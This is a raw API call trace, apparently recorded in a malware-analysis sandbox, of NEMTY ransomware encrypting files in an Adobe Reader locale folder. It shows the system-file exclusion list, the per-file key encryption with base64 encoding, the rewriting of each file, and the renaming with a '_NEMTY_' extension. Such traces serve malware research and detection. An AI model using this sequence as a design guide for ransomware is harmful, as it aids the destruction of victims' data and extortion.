1 [0180.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.620] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="reflow.NLD", cAlternateFileName="")) returned 1 [0180.620] lstrcmpiW (lpString1="reflow.NLD", lpString2=".") returned 1 [0180.620] lstrcmpiW (lpString1="reflow.NLD", lpString2="..") returned 1 [0180.620] lstrcmpiW (lpString1="reflow.NLD", lpString2="...") returned 1 [0180.620] lstrcmpiW (lpString1="reflow.NLD", lpString2="windows") returned -1 [0180.620] lstrcmpiW (lpString1="reflow.NLD", lpString2="$RECYCLE.BIN") returned 1 [0180.620] lstrcmpiW (lpString1="reflow.NLD", lpString2="rsa") returned -1 [0180.620] lstrcmpiW (lpString1="reflow.NLD", lpString2="NTDETECT.COM") returned 1 [0180.620] lstrcmpiW (lpString1="reflow.NLD", lpString2="ntldr") returned 1 [0180.620] lstrcmpiW (lpString1="reflow.NLD", lpString2="MSDOS.SYS") returned 1 [0180.620] lstrcmpiW (lpString1="reflow.NLD", lpString2="IO.SYS") returned 1 [0180.620] lstrcmpiW (lpString1="reflow.NLD", lpString2="boot.ini") returned 1 [0180.620] lstrcmpiW (lpString1="reflow.NLD", lpString2="boot.ini") returned 1 [0180.620] lstrcmpiW (lpString1="reflow.NLD", lpString2="AUTOEXEC.BAT") returned 1 [0180.620] lstrcmpiW (lpString1="reflow.NLD", lpString2="ntuser.dat") returned 1 [0180.620] lstrcmpiW (lpString1="reflow.NLD", lpString2="desktop.ini") returned 1 [0180.620] lstrcmpiW (lpString1="reflow.NLD", lpString2="CONFIG.SYS") returned 1 [0180.620] lstrcmpiW (lpString1="reflow.NLD", lpString2="RECYCLER") returned 1 [0180.620] lstrcmpiW (lpString1="reflow.NLD", lpString2="BOOTSECT.BAK") returned 1 [0180.620] lstrcmpiW (lpString1="reflow.NLD", lpString2="bootmgr") returned 1 [0180.620] lstrcmpiW (lpString1="reflow.NLD", lpString2="programdata") returned 1 [0180.620] lstrcmpiW (lpString1="reflow.NLD", lpString2="appdata") returned 1 [0180.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.620] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.NLD", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.NLD", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.NLD", lpUsedDefaultChar=0x0) returned 10 [0180.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.NLD", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.NLD", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.NLD", lpUsedDefaultChar=0x0) returned 10 [0180.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.NLD", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.NLD", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.NLD", lpUsedDefaultChar=0x0) returned 10 [0180.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.NLD", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.NLD", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.NLD", lpUsedDefaultChar=0x0) returned 10 [0180.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0180.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0180.621] Sleep (dwMilliseconds=0x5) [0180.630] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f4f95d0, dwHighDateTime=0x1d561e8)) [0180.630] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f4f95d0, dwHighDateTime=0x1d561e8)) [0180.630] GetLastError () returned 0x0 [0180.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.630] GetLastError () returned 0x0 [0180.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.630] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.630] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.631] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0180.631] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="/40EQrlsNAKRvqwhxRhDH0DZnrXwveJL+D/5X8SR8SBYTb0DC5avbIvTFGaw1SO0\r\nLfVv1c5iN5dyNT/IECHAZ9XTbFodZjGUYuOh41TPNDx52dQwijqaUdgTG6SNgWCi\r\nLWhowMaTtarD4jI5Rct1NoiMUX7nXja6nqpbXrMAyk+tWsHJWtBPin04pbrxAI5v\r\n1llyRmRUNvElUztox/ht4eTfOzZeTEKVbSxb+PWshckcKffOZr28GJzV98mXChkz\r\nEDpc6sxy7/HacAHOzhEQibYsAvJuaZxcGc4HYEJad4aTnsweMAVK+9SgMlVlgASQ\r\nTruvEk0ayeFfUNFAvZghcQ==\r\n", pcchString=0x653e5dc) returned 1 [0180.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0180.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.631] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\reflow.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\reflow.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.631] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=4608) returned 1 [0180.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1200) returned 0x6352c48 [0180.631] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.631] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1200, lpOverlapped=0x0) returned 1 [0180.633] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.633] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1200, lpOverlapped=0x0) returned 1 [0180.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.633] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=4608, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1200 [0180.633] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.633] CloseHandle (hObject=0x2e8) returned 1 [0180.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0180.633] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.633] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0180.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0180.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.634] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\reflow.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\reflow.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\reflow.NLD._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\reflow.nld._nemty_kgobjgd_")) returned 1 [0180.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0180.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0180.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0180.634] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dab5520, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SaveAsRTF.NLD", cAlternateFileName="SAVEAS~1.NLD")) returned 1 [0180.634] lstrcmpiW (lpString1="SaveAsRTF.NLD", lpString2=".") returned 1 [0180.635] lstrcmpiW (lpString1="SaveAsRTF.NLD", lpString2="..") returned 1 [0180.635] lstrcmpiW (lpString1="SaveAsRTF.NLD", lpString2="...") returned 1 [0180.635] lstrcmpiW (lpString1="SaveAsRTF.NLD", lpString2="windows") returned -1 [0180.635] lstrcmpiW (lpString1="SaveAsRTF.NLD", lpString2="$RECYCLE.BIN") returned 1 [0180.635] lstrcmpiW (lpString1="SaveAsRTF.NLD", lpString2="rsa") returned 1 [0180.635] lstrcmpiW (lpString1="SaveAsRTF.NLD", lpString2="NTDETECT.COM") returned 1 [0180.635] lstrcmpiW (lpString1="SaveAsRTF.NLD", lpString2="ntldr") returned 1 [0180.635] lstrcmpiW (lpString1="SaveAsRTF.NLD", lpString2="MSDOS.SYS") returned 1 [0180.635] lstrcmpiW (lpString1="SaveAsRTF.NLD", lpString2="IO.SYS") returned 1 [0180.635] lstrcmpiW (lpString1="SaveAsRTF.NLD", lpString2="boot.ini") returned 1 [0180.635] lstrcmpiW (lpString1="SaveAsRTF.NLD", lpString2="boot.ini") returned 1 [0180.635] lstrcmpiW (lpString1="SaveAsRTF.NLD", lpString2="AUTOEXEC.BAT") returned 1 [0180.635] lstrcmpiW (lpString1="SaveAsRTF.NLD", lpString2="ntuser.dat") returned 1 [0180.635] lstrcmpiW (lpString1="SaveAsRTF.NLD", lpString2="desktop.ini") returned 1 [0180.635] lstrcmpiW (lpString1="SaveAsRTF.NLD", lpString2="CONFIG.SYS") returned 1 [0180.635] lstrcmpiW (lpString1="SaveAsRTF.NLD", lpString2="RECYCLER") returned 1 [0180.635] lstrcmpiW (lpString1="SaveAsRTF.NLD", lpString2="BOOTSECT.BAK") returned 1 [0180.635] lstrcmpiW (lpString1="SaveAsRTF.NLD", lpString2="bootmgr") returned 1 [0180.635] lstrcmpiW (lpString1="SaveAsRTF.NLD", lpString2="programdata") returned 1 [0180.635] lstrcmpiW (lpString1="SaveAsRTF.NLD", lpString2="appdata") returned 1 [0180.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.NLD", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.NLD", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.NLD", lpUsedDefaultChar=0x0) returned 13 [0180.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.NLD", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.NLD", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.NLD", lpUsedDefaultChar=0x0) returned 13 [0180.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.NLD", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.NLD", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.NLD", lpUsedDefaultChar=0x0) returned 13 [0180.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.636] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.NLD", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.636] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.NLD", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.NLD", lpUsedDefaultChar=0x0) returned 13 [0180.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0180.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0180.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0180.636] Sleep (dwMilliseconds=0x5) [0180.646] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f51f730, dwHighDateTime=0x1d561e8)) [0180.646] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f51f730, dwHighDateTime=0x1d561e8)) [0180.646] GetLastError () returned 0x0 [0180.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.646] GetLastError () returned 0x0 [0180.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.646] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.646] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.647] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0180.647] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="D/PWzyKuKk3LKw69Bk7G01fjT31kVZm3zO2hBpQQF2ojlTIhde6ltUV4XCZXI7KN\r\npJweFdQplt61b5OSHBDsWPa2Xy127YdlOyuGuhv5+YWHr0lGr0FHPjukoJFfgKB8\r\nkPSRZUfYaTmuuvmtFqjlI//b9YPGI7e4XTuazqks7mr6f9uYok7lC8bZRhZJOksS\r\naENvpzg8yNoGdm/OgnSjE3h9r6mSDoSJXRdmPFFSqQFUwyEge2sQmF4ralnKueMf\r\nEMVRTRvRIwZIE/03HYiD+0D8+YouENPocY0tinDzBWKbnwY2L4eAFVn3n0lcfee3\r\n7t1DPR/MJcbjp6DIyegBVQ==\r\n", pcchString=0x653e5dc) returned 1 [0180.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0180.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.647] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\SaveAsRTF.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\saveasrtf.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.647] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18944) returned 1 [0180.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4a00) returned 0x6352c48 [0180.647] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.647] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4a00, lpOverlapped=0x0) returned 1 [0180.650] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.650] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4a00, lpOverlapped=0x0) returned 1 [0180.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.650] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=18944, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4a00 [0180.650] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.650] CloseHandle (hObject=0x2e8) returned 1 [0180.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0180.650] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.650] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0180.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0180.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0180.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | 